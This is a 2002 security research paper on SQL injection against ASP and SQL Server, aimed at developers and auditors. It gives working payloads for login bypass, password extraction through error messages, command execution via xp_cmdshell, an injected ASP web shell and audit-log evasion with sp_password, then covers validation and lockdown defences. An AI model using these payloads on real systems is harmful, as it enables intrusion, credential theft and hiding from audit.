

# Advanced SQL Injection In SQL Server Applications

Chris Anley [chris@ngssoftware.com]



An NGSSoftware Insight Security Research (NISR) Publication  
©2002 Next Generation Security Software Ltd  
<http://www.ngssoftware.com>

## Table of Contents

|  |    |
|--|----|
| [Abstract] .....                                   | 3  |
| [Introduction] .....                               | 3  |
| [Obtaining Information Using Error Messages] ..... | 7  |
| [Leveraging Further Access].....                   | 12 |
| [xp_cmdshell] .....                                | 12 |
| [xp_regread] .....                                 | 13 |
| [Other Extended Stored Procedures] .....           | 13 |
| [Linked Servers].....                              | 14 |
| [Custom extended stored procedures].....           | 14 |
| [Importing text files into tables] .....           | 15 |
| [Creating Text Files using BCP].....               | 15 |
| [ActiveX automation scripts in SQL Server].....    | 15 |
| [Stored Procedures].....                           | 17 |
| [Advanced SQL Injection].....                      | 18 |
| [Strings without quotes].....                      | 18 |
| [Second-Order SQL Injection].....                  | 18 |
| [Length Limits] .....                              | 20 |
| [Audit Evasion].....                               | 21 |
| [Defences] .....                                   | 21 |
| [Input Validation].....                            | 21 |
| [SQL Server Lockdown].....                         | 23 |
| [References] .....                                 | 24 |
| Appendix A - 'SQLCrack' .....                      | 25 |
| (sqlcrack.sql).....                                | 25 |

## [Abstract]

This document discusses in detail the common 'SQL injection' technique, as it applies to the popular Microsoft Internet Information Server/Active Server Pages/SQL Server platform. It discusses the various ways in which SQL can be 'injected' into the application and addresses some of the data validation and database lockdown issues that are related to this class of attack.

The paper is intended to be read by both developers of web applications which communicate with databases and by security professionals whose role includes auditing these web applications.

## [Introduction]

Structured Query Language ('SQL') is a textual language used to interact with relational databases. There are many varieties of SQL; most dialects that are in common use at the moment are loosely based around SQL-92, the most recent ANSI standard. The typical unit of execution of SQL is the 'query', which is a collection of statements that typically return a single 'result set'. SQL statements can modify the structure of databases (using Data Definition Language statements, or 'DDL') and manipulate the contents of databases (using Data Manipulation Language statements, or 'DML'). In this paper, we will be specifically discussing Transact-SQL, the dialect of SQL used by Microsoft SQL Server.

SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application.

A typical SQL statement looks like this:

```
select id, forename, surname from authors
```

This statement will retrieve the 'id', 'forename' and 'surname' columns from the 'authors' table, returning all rows in the table. The 'result set' could be restricted to a specific 'author' like this:

```
select id, forename, surname from authors where forename = 'john' and  
surname = 'smith'
```

An important point to note here is that the string literals 'john' and 'smith' are delimited with single quotes. Presuming that the 'forename' and 'surname' fields are being gathered from user-supplied input, an attacker might be able to 'inject' some SQL into this query, by inputting values into the application like this:

```
Forename: jo'hn  
Surname: smith
```

The 'query string' becomes this:

```
select id, forename, surname from authors where forename = 'jo'hn' and
```

```
surname = 'smith'
```

When the database attempts to run this query, it is likely to return an error:

```
Server: Msg 170, Level 15, State 1, Line 1  
Line 1: Incorrect syntax near 'hn'.
```

The reason for this is that the insertion of the 'single quote' character 'breaks out' of the single-quote delimited data. The database then tried to execute 'hn' and failed. If the attacker specified input like this:

```
Forename: jo'; drop table authors--  
Surname:
```

...the authors table would be deleted, for reasons that we will go into later.

It would seem that some method of either removing single quotes from the input, or 'escaping' them in some way would handle this problem. This is true, but there are several difficulties with this method as a solution. First, not all user-supplied data is in the form of strings. If our user input could select an author by 'id' (presumably a number) for example, our query might look like this:

```
select id, forename, surname from authors where id=1234
```

In this situation an attacker can simply append SQL statements on the end of the numeric input. In other SQL dialects, various delimiters are used; in the Microsoft Jet DBMS engine, for example, dates can be delimited with the '#' character. Second, 'escaping' single quotes is not necessarily the simple cure it might initially seem, for reasons we will go into later.

We illustrate these points in further detail using a sample Active Server Pages (ASP) 'login' page, which accesses a SQL Server database and attempts to authenticate access to some fictional application.

This is the code for the 'form' page, into which the user types a username and password:

```
<HTML>  
<HEAD>  
  
<TITLE>Login Page</TITLE>  
</HEAD>  
  
<BODY bgcolor='000000' text='cccccc'>  
<FONT Face='tahoma' color='cccccc'>  
  
<CENTER><H1>Login</H1>  
<FORM action='process_login.asp' method=post>  
<TABLE>  
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
```

```

width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>

</FONT>
</BODY>
</HTML>

```

This is the code for 'process\_login.asp', which handles the actual login:

```

<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>

<STYLE>
    p { font-size=20pt ! important}
    font { font-size=20pt ! important}
    h1 { font-size=64pt ! important}
</STYLE>

<%@LANGUAGE = JScript %>
<%

function trace( str )
{
    if( Request.form("debug") == "true" )
        Response.write( str );
}

function Login( cn )
{
    var username;
    var password;

    username = Request.form("username");
    password = Request.form("password");

    var rso = Server.CreateObject("ADODB.Recordset");

    var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";

    trace( "query: " + sql );

    rso.open( sql, cn );

    if (rso.EOF)
    {
        rso.close();
    }
}
%>

```

```

        <FONT Face='tahoma' color='cc0000'>
        <H1>
        <BR><BR>
        <CENTER>ACCESS DENIED</CENTER>
        </H1>
        </BODY>
        </HTML>
<%
        Response.end
        return;
    }
    else
    {
        Session("username") = "" + rso("username");
%>
        <FONT Face='tahoma' color='00cc00'>
        <H1>
        <CENTER>ACCESS GRANTED<BR>
        <BR>
        Welcome,
<%
        Response.write(rso("Username"));
        Response.write( "</BODY></HTML>" );
        Response.end
    }
}

function Main()
{
    //Set up connection

    var username
    var cn = Server.createObject( "ADODB.Connection" );
    cn.connectiontimeout = 20;
    cn.open( "localhost", "sa", "password" );

    username = new String( Request.form("username") );

    if( username.length > 0)
    {
        Login( cn );
    }

    cn.close();
}

Main();

%>

```

The critical point here is the part of 'process\_login.asp' which creates the 'query string' :

```

var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";

```

If the user specifies the following:

```
Username: ';' drop table users--  
Password:
```

..the 'users' table will be deleted, denying access to the application for all users. The '--' character sequence is the 'single line comment' sequence in Transact-SQL, and the ';' character denotes the end of one query and the beginning of another. The '--' at the end of the username field is required in order for this particular query to terminate without error.

The attacker could log on as any user, given that they know the users name, using the following input:

```
Username: admin'--
```

The attacker could log in as the first user in the 'users' table, with the following input:

```
Username: ' or 1=1--
```

...and, strangely, the attacker can log in as an entirely fictional user with the following input:

```
Username: ' union select 1, 'fictional_user', 'some_password', 1--
```

The reason this works is that the application believes that the 'constant' row that the attacker specified was part of the recordset retrieved from the database.

### [Obtaining Information Using Error Messages]

This technique was first discovered by David Litchfield and the author in the course of a penetration test; David later wrote a paper on the technique [1], and subsequent authors have referenced this work. This explanation discusses the mechanisms underlying the 'error message' technique, enabling the reader to fully understand it, and potentially originate variations of their own.

In order to manipulate the data in the database, the attacker will have to determine the structure of certain databases and tables. For example, our 'users' table might have been created with the following command:

```
create table users(  
    id int,  
    username varchar(255),  
    password varchar(255),  
    privs int  
)
```

..and had the following users inserted:

```
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )  
insert into users values( 0, 'guest', 'guest', 0x0000 )
```

```
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
```

Let's say our attacker wants to insert a user account for himself. Without knowing the structure of the 'users' table, he is unlikely to be successful. Even if he gets lucky, the significance of the 'privs' field is unclear. The attacker might insert a '1', and give himself a low - privileged account in the application, when what he was after was administrative access.

Fortunately for the attacker, if error messages are returned from the application (the default ASP behaviour) the attacker can determine the entire structure of the database, and read any value that can be read by the account the ASP application is using to connect to the SQL Server.

(The following examples use the supplied sample database and .asp scripts to illustrate how these techniques work.)

First, the attacker wants to establish the names of the tables that the query operates on, and the names of the fields. To do this, the attacker uses the 'having' clause of the 'select' statement:

```
Username: ' having 1=1--
```

This provokes the following error:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
```

```
/process_login.asp, line 35
```

So the attacker now knows the table name and column name of the first column in the query. They can continue through the columns by introducing each field into a 'group by' clause, as follows:

```
Username: ' group by users.id having 1=1--
```

(which produces the error...)

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
```

```
/process_login.asp, line 35
```

Eventually the attacker arrives at the following 'username':



```
' group by users.id, users.username, users.password, users.privs having  
1=1--
```

... which produces no error, and is functionally equivalent to:

```
select * from users where username = ''
```

So the attacker now knows that the query is referencing only the 'users' table, and is using the columns 'id, username, password, privs', in that order.

It would be useful if he could determine the types of each column. This can be achieved using a 'type conversion' error message, like this:

```
Username: ' union select sum(username) from users--
```

This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before determining whether the number of fields in the two rowsets is equal. Attempting to calculate the 'sum' of a textual field results in this message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average  
aggregate operation cannot take a varchar data type as an argument.
```

```
/process_login.asp, line 35
```

..which tells us that the 'username' field has type 'varchar'. If, on the other hand, we attempt to calculate the sum() of a numeric type, we get an error message telling us that the number of fields in the two rowsets don't match:

```
Username: ' union select sum(id) from users--
```

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL  
statement containing a UNION operator must have an equal number of  
expressions in their target lists.
```

```
/process_login.asp, line 35
```

We can use this technique to approximately determine the type of any column of any table in the database.

This allows the attacker to create a well - formed 'insert' query, like this:

```
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff  
)--
```

However, the potential of the technique doesn't stop there. The attacker can take

advantage of any error message that reveals information about the environment, or the database. A list of the format strings for standard error messages can be obtained by running:

```
select * from master..sysmessages
```

Examining this list reveals some interesting messages.

One especially useful message relates to type conversion. If you attempt to convert a string into an integer, the full contents of the string are returned in the error message. In our sample login page, for example, the following 'username' will return the specific version of SQL server, and the server operating system it is running on:

```
Username: ' union select @@version,1,1,1--
```

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
```

```
/process_login.asp, line 35
```

This attempts to convert the built-in '@@version' constant into an integer because the first column in the 'users' table is an integer.

This technique can be used to read any value in any table in the database. Since the attacker is interested in usernames and passwords, they are likely to read the usernames from the 'users' table, like this:

```
Username: ' union select min(username),1,1,1 from users where username > 'a'--
```

This selects the minimum username that is greater than 'a', and attempts to convert it to an integer:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
```

```
/process_login.asp, line 35
```

So the attacker now knows that the 'admin' account exists. He can now iterate through the rows in the table by substituting each new username he discovers into the 'where' clause:

```
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

/process\_login.asp, line 35

Once the attacker has determined the usernames, he can start gathering passwords:

```
Username: ' union select password,1,1,1 from users where username = 'admin'--
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

/process\_login.asp, line 35

A more elegant technique is to concatenate all of the usernames and passwords into a single string, and then attempt to convert it to an integer. This illustrates another point; Transact-SQL statements can be string together on the same line without altering their meaning. The following script will concatenate the values:

```
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/' +password from users where
username>@ret
select @ret as ret into foo
end
```

The attacker 'logs in' with this 'username' (all on one line, obviously...)

```
Username: '; begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/' +password from users where username>@ret
select @ret as ret into foo end--
```

This creates a table 'foo', which contains the single column 'ret', and puts our string into it. Normally even a low-privileged user will be able to create a table in a sample database, or the temporary database.

The attacker then selects the string from the table, as before:

```
Username: ' union select ret,1,1,1 from foo--
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

/process\_login.asp, line 35

And then drops (deletes) the table, to tidy up:

```
Username: '; drop table foo--
```

These examples are barely scratching the surface of the flexibility of this technique. Needless to say, if the attacker can obtain rich error information from the database, their job is infinitely easier.

#### [Leveraging Further Access]

Once an attacker has control of the database, they are likely to want to use that access to obtain further control over the network. This can be achieved in a number of ways:

1. Using the xp\_cmdshell extended stored procedure to run commands as the SQL server user, on the database server
2. Using the xp\_regread extended stored procedure to read registry keys, potentially including the SAM (if SQL Server is running as the local system account)
3. Use other extended stored procedures to influence the server
4. Run queries on linked servers
5. Creating custom extended stored procedures to run exploit code from within the SQL Server process
6. Use the 'bulk insert' statement to read any file on the server
7. Use bcp to create arbitrary text files on the server
8. Using the sp\_OACreate, sp\_OAMethod and sp\_OAGetProperty system stored procedures to create Ole Automation (ActiveX) applications that can do everything an ASP script can do

These are just a few of the more common attack scenarios; it is quite possible that an attacker will be able to come up with others. We present these techniques as a collection of relatively obvious SQL Server attacks, in order to show just what is possible, given the ability to inject SQL. We will deal with each of the above points in turn.

#### [xp\_cmdshell]

Extended stored procedures are essentially compiled Dynamic Link Libraries (DLLs) that use a SQL Server specific calling convention to run exported functions. They allow SQL Server applications to have access to the full power of C/C++, and are an extremely useful feature. A number of extended stored procedures are built in to SQL Server, and perform various functions such as sending email and interacting with the registry.

xp\_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example:

```
exec master..xp_cmdshell 'dir'
```

will obtain a directory listing of the current working directory of the SQL Server process, and

```
exec master..xp_cmdshell 'net1 user'
```

will provide a list of all users on the machine. Since SQL server is normally running as either the local 'system' account, or a 'domain user' account, an attacker can do a great deal of harm.

[xp\_regread]

Another helpful set of built in extended stored procedures are the xp\_regXXX functions,

```
xp_regaddmultistring  
xp_regdeletekey  
xp_regdeletevalue  
xp_regenumkeys  
xp_regenumvalues  
xp_regread  
xp_regremovemultistring  
xp_regwrite
```

Example uses of some of these functions:

```
exec xp_regread HKEY_LOCAL_MACHINE,  
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',  
'nullsessionshares'
```

(this determines what null-session shares are available on the server)

```
exec xp_regenumvalues HKEY_LOCAL_MACHINE,  
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm  
unities'
```

(this will reveal all of the SNMP communities configured on the server. With this information, an attacker can probably reconfigure network appliances in the same area of the network, since SNMP communities tend to be infrequently changed, and shared among many hosts)

It is easy to imagine how an attacker might use these functions to read the SAM, change the configuration of a system service so that it starts next time the machine is rebooted, or run an arbitrary command the next time anyone logs on to the server.

[Other Extended Stored Procedures]

The xp\_servicecontrol procedure allows a user to start, stop, pause and 'continue'

services:

```
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
```

Here is a table of a few other useful extended stored procedures:

|                      |  |
|----------------------|--|
| xp_availablemedia    | reveals the available drives on the machine.   |
| xp_dirtree           | allows a directory tree to be obtained   |
| xp_enumdsn           | enumerates ODBC data sources on the server   |
| xp_loginconfig       | reveals information about the security mode of the server.   |
| xp_makecab           | allows the user to create a compressed archive of files on the server (or any files the server can access) |
| xp_ntsec_enumdomains | enumerates domains that the server can access  |
| xp_terminate_process | terminates a process, given its PID  |

#### [Linked Servers]

SQL Server provides a mechanism to allow servers to be 'linked' - that is, to allow a query on one database server to manipulate data on another. These links are stored in the master..sys.servers table. If a linked server has been set up using the 'sp\_addlinkedsevrlogin' procedure, a pre-authenticated link is present and the linked server can be accessed through it without having to log in. The 'openquery' function allows queries to be run against the linked server.

#### [Custom extended stored procedures]

The extended stored procedure API is a fairly simple one, and it is a fairly simple task to create an extended stored procedure DLL that carries malicious code. There are several ways to upload the DLL onto the SQL server using command lines, and there are other methods involving various communication mechanisms that can be automated, such as HTTP downloads and FTP scripts.

Once the DLL file is present on a machine that the SQL Server can access - this need not necessarily be the SQL server itself - the attacker can add the extended stored procedure using this command (in this case, our malicious stored procedure is a small, trojan web server that exports the servers filesystems):

```
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
```

The extended stored procedure can then be run by calling it in the normal way:

```
exec xp_webserver
```

Once the procedure has been run, it can be removed like this:

```
sp_dropextendedproc 'xp_webserver'
```

### [Importing text files into tables]

Using the 'bulk insert' statement, it is possible to insert a text file into a temporary table. Simply create the table like this:

```
create table foo( line varchar(8000) )
```

...and then run an bulk insert to insert the data from the file, like this:

```
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
```

...the data can then be retrieved using any of the above error message techniques, or by a 'union' select, combining the data in the text file with the data that is normally returned by the application. This is useful for obtaining the source code of scripts stored on the database server, or possibly the source of ASP scripts.

### [Creating Text Files using BCP]

It is fairly easy to create arbitrary text files using the 'opposite' technique to the 'bulk insert'. Unfortunately this requires a command line tool, 'bcp', the 'bulk copy program'

Since bcp accesses the database from outside the SQL Server process, it requires a login. This is typically not difficult to obtain, since the attacker can probably create one anyway, or take advantage of 'integrated' security mode, if the server is configured to use it.

The command line format is as follows:

```
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp  
-c -Slocalhost -Usa -Pfoobar
```

The 'S' parameter is the server on which to run the query, the 'U' is the username and the 'P' is the password, in this case 'foobar'.

### [ActiveX automation scripts in SQL Server]

Several built-in extended stored procedures are provided which allow the creation of ActiveX Automation scripts in SQL server. These scripts are functionally the same as scripts running in the context of the windows scripting host, or ASP scripts - they are

typically written in VBScript or JavaScript, and they create Automation objects and interact with them. An automation script written in Transact-SQL in this way can do anything that an ASP script, or a WSH script can do. A few examples are provided here for illustration purposes

1) This example uses the 'wscript.shell' object to create an instance of notepad (this could of course be any command line):

```
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
```

It could be run in our sample scenario by specifying the following username (all on one line):

```
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
```

2) This example uses the 'scripting.filesystemobject' object to read a known text file:

```
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
    print @line
    exec @ret = sp_oamethod @f, 'readline', @line out
end
```

3) This example creates an ASP script that will run any command passed to it in the querystring:

```
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'
```

It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM\_XXX account.

4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak:



```

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong
to,us', 528
waitfor delay '00:00:05'

```

This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):

```

Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed',
150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528
waitfor delay '00:00:05'--

```

### [Stored Procedures]

Traditional wisdom holds that if an ASP application uses stored procedures in the database, that SQL injection is not possible. This is a half-truth, and it depends on the manner in which the stored procedure is called from the ASP script.

Essentially, if a parameterised query is run, and the user-supplied parameters are passed safely to the query, then SQL injection is typically impossible. However, if the attacker can exert any influence over the non - data parts of the query string that is run, it is likely that they will be able to control the database.

Good general rules are:

- If the ASP script creates a SQL query string that is submitted to the server, it is vulnerable to SQL injection, \*even if\* it uses stored procedures
- If the ASP script uses a procedure object that wraps the assignment of parameters to a stored procedure (such as the ADO command object, used with the Parameters collection) then it is generally safe, though this depends on the object's implementation.

Obviously, best practice is still to validate all user supplied input, since new attack techniques are being discovered all the time.

To illustrate the stored procedure query injection point, execute the following SQL string:

```

sp_who '1' select * from sysobjects
or
sp_who '1'; select * from sysobjects

```

Either way, the appended query is still run, after the stored procedure.

## [Advanced SQL Injection]

It is often the case that a web application will 'escape' the single quote character (and others), and otherwise 'massage' the data that is submitted by the user, such as by limiting its length.

In this section, we discuss some techniques that help attackers bypass some of the more obvious defences against SQL injection, and evade logging to a certain extent.

## [Strings without quotes]

Occasionally, developers may have protected an application by (say) escaping all 'single quote' characters, perhaps by using the VBScript 'replace' function or similar:

```
function escape( input )
    input = replace(input, "'", "'")
    escape = input
end function
```

Admittedly, this will prevent all of the example attacks from working on our sample site, and removing ';' characters would also help a lot. However, in a larger application it is likely that several values that the user is supposed to input will be numeric. These values will not require 'delimiting', and so may provide a point at which the attacker can insert SQL.

If the attacker wishes to create a string value without using quotes, they can use the 'char' function. For example:

```
insert into users values( 666,
    char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73) ,
    char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73) ,
    0xffff)
```

...is a query containing no quote characters, which will insert strings into a table.

Of course, if the attacker doesn't mind using a numeric username and password, the following statement would do just as well:

```
insert into users values( 667,
    123,
    123,
    0xffff)
```

Since SQL Server automatically converts integers into 'varchar' values, the type conversion is implicit.

## [Second-Order SQL Injection]

Even if an application always escapes single - quotes, an attacker can still inject SQL as long as data in the database is re-used by the application.

For example, an attacker might register with an application, creating a username

```
Username: admin'--  
Password: password
```

The application correctly escapes the single quote, resulting in an 'insert' statement like this:

```
insert into users values( 123, 'admin' '--', 'password', 0xffff )
```

Let's say the application allows a user to change their password. The ASP script code first ensures that the user has the 'old' password correct before setting the new password. The code might look like this:

```
username = escape( Request.form("username") );  
oldpassword = escape( Request.form("oldpassword") );  
newpassword = escape( Request.form("newpassword") );  
  
var rso = Server.CreateObject("ADODB.Recordset");  
  
var sql = "select * from users where username = '" + username + "' and  
password = '" + oldpassword + "'";  
  
rso.open( sql, cn );  
  
if (rso.EOF)  
{  
...  
}
```

The query to set the new password might look like this:

```
sql = "update users set password = '" + newpassword + "' where username  
= '" + rso("username") + "'"
```

rso("username") is the username retrieved from the 'login' query.

Given the username admin'--, the query produces the following query:

```
update users set password = 'password' where username = 'admin'--'
```

The attacker can therefore set the admin password to the value of their choice, by registering as a user called admin'--.

This is a dangerous problem, present in most large applications that attempt to 'escape' data. The best solution is to reject bad input, rather than simply attempting to modify it. This can occasionally lead to problems, however, where 'known bad' characters are necessary, as (for example) in the case of names with apostrophes; for example

O'Brien

From a security perspective, the best way to solve this is to simply live with the fact that single-quotes are not permitted. If this is unacceptable, they will have to be 'escaped'; in this case, it is best to ensure that all data that goes into a SQL query string (including data obtained from the database) is correctly handled.

Attacks of this form are also possible if the attacker can somehow insert data into the system without using the application; the application might have an email interface, or perhaps an error log is stored in the database that the attacker can exert some control over. It is always best to verify *\*all\** data, including data that is already in the system - the validation functions should be relatively simple to call, for example

```
if ( not isValid( "email", request.querystring("email") ) then
    response.end
```

..or something similar.

#### [Length Limits]

Sometimes the length of input data is restricted in order to make attacks more difficult; while this does obstruct some types of attack, it is possible to do quite a lot of harm in a very small amount of SQL. For example, the username

```
Username: ';shutdown--
```

...will shut down the SQL server instance, using only 12 characters of input. Another example is

```
drop table <tablename>
```

Another problem with limiting input data length occurs if the length limit is applied after the string has been 'escaped'. If the username was limited to (say) 16 characters, and the password was also limited to 16 characters, the following username/password combination would execute the 'shutdown' command mentioned above:

```
Username: aaaaaaaaaaaaaaaaaa'
Password: '; shutdown--
```

The reason is that the application attempts to 'escape' the single - quote at the end of the username, but the string is then cut short to 16 characters, deleting the 'escaping' single quote. The net result is that the password field can contain some SQL, if it begins with a single - quote, since the query ends up looking like this:

```
select * from users where username='aaaaaaaaaaaaaaaa' and password='';
shutdown--
```

Effectively, the username in the query has become

```
aaaaaaaaaaaaaaaa ' and password='
```

...so the trailing SQL runs.

### [Audit Evasion]

SQL Server includes a rich auditing interface in the `sp_traceXXX` family of functions, which allow the logging of various events in the database. Of particular interest here are the T-SQL events, which log all of the SQL statements and 'batches' that are prepared and executed on the server. If this level of audit is enabled, all of the injected SQL queries we have discussed will be logged and a skilled database administrator will be able to see what has happened. Unfortunately, if the attacker appends the string

```
sp_password
```

to a the Transact-SQL statement, this audit mechanism logs the following:

```
-- 'sp_password' was found in the text of this event.  
-- The text has been replaced with this comment for security reasons.
```

This behaviour occurs in all T-SQL logging, even if 'sp\_password' occurs in a comment. This is, of course, intended to hide the plaintext passwords of users as they pass through `sp_password`, but it is quite a useful behaviour for an attacker.

So, in order to hide all of the injection the attacker needs to simply append `sp_password` after the '--' comment characters, like this:

```
Username: admin'--sp_password
```

The fact that some SQL has run will be logged, but the query string itself will be conveniently absent from the log.

### [Defences]

This section discusses some defences against the described attacks. Input validation is discussed, and some sample code provided, then we address SQL server lockdown issues.

### [Input Validation]

Input validation can be a complex subject. Typically, too little attention is paid to it in a development project, since overenthusiastic validation tends to cause parts of an application to break, and the problem of input validation can be difficult to solve. Input validation tends not to add to the functionality of an application, and thus it is generally overlooked in the rush to meet imposed deadlines.

The following is a brief discussion of input validation, with sample code. This sample code is (of course) not intended to be directly used in applications, but it does illustrate the differing strategies quite well.

The different approaches to data validation can be categorised as follows:

- 1) Attempt to massage data so that it becomes valid
- 2) Reject input that is known to be bad
- 3) Accept only input that is known to be good

Solution (1) has a number of conceptual problems; first, the developer is not necessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can result in problems as described above. Finally, there is the problem of second-order effects involving the reuse of data already in the system.

Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop.

Solution (3) is probably the better of the three, but can be harder to implement.

Probably the best approach from a security point of view is to combine approaches (2) and (3) - allow only good input, and then search that input for known 'bad' data.

A good example of the necessity to combine these two approaches is the problem of hyphenated surnames :

`Quentin Bassington-Bassington`

We must allow hyphens in our 'good' input, but we are also aware that the character sequence '--' has significance to SQL server.

Another problem occurs when combining the 'massaging' of data with validation of character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select' and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could specify input like

`uni'on sel'ect @@version--'`

Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection.

Here is some example validation code.

Approach 1 - Escape single quotes

```
function escape( input )
```

```

        input = replace(input, "'", "'")
        escape = input
    end function

```

## Approach 2 - Reject known bad input

```

function validate_string( input )

    known_bad = array( "select", "insert", "update", "delete", "drop",
        "--", "'" )

    validate_string = true

    for i = lbound( known_bad ) to ubound( known_bad )
        if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 )
then
            validate_string = false
            exit function
        end if
    next
end function

```

## Approach 3 - Allow only good input

```

function validatepassword( input )

    good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

    validatepassword = true

    for i = 1 to len( input )
        c = mid( input, i, 1 )

        if ( InStr( good_password_chars, c ) = 0 ) then
            validatepassword = false
            exit function
        end if
    next
end function

```

## [SQL Server Lockdown]

The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build:

1. Determine methods of connection to the server

- a. Verify that only the network libraries you're using are enabled, using the 'Network utility'
2. Verify which accounts exist
  - a. Create 'low privileged' accounts for use by applications
  - b. Remove unnecessary accounts
  - c. Ensure that all accounts have strong passwords; run a password auditing script (such as the one provided as an appendix to this paper) against the server on a regular basis
3. Verify which objects exist
  - a. Many extended stored procedures can be removed safely. If this is done, consider removing the '.dll' file containing the extended stored procedure code.
  - b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
  - a. The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
  - a. There are several buffer overflow [3], [4] and format string [5] attacks against SQL Server (mostly discovered by the author) as well as several other 'patched' security issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.

An excellent lockdown checklist is provided at [www.sqlsecurity.com](http://www.sqlsecurity.com) [2].

#### [References]

[1] Web Application Disassembly with ODBC Error Messages, David Litchfield  
<http://www.nextgenss.com/papers/webappdis.doc>

[2] SQL Server Security Checklist  
<http://www.sqlsecurity.com/checklist.asp>

[3] SQL Server 2000 Extended Stored Procedure Vulnerability  
<http://www.atstake.com/research/advisories/2000/a120100-2.txt>

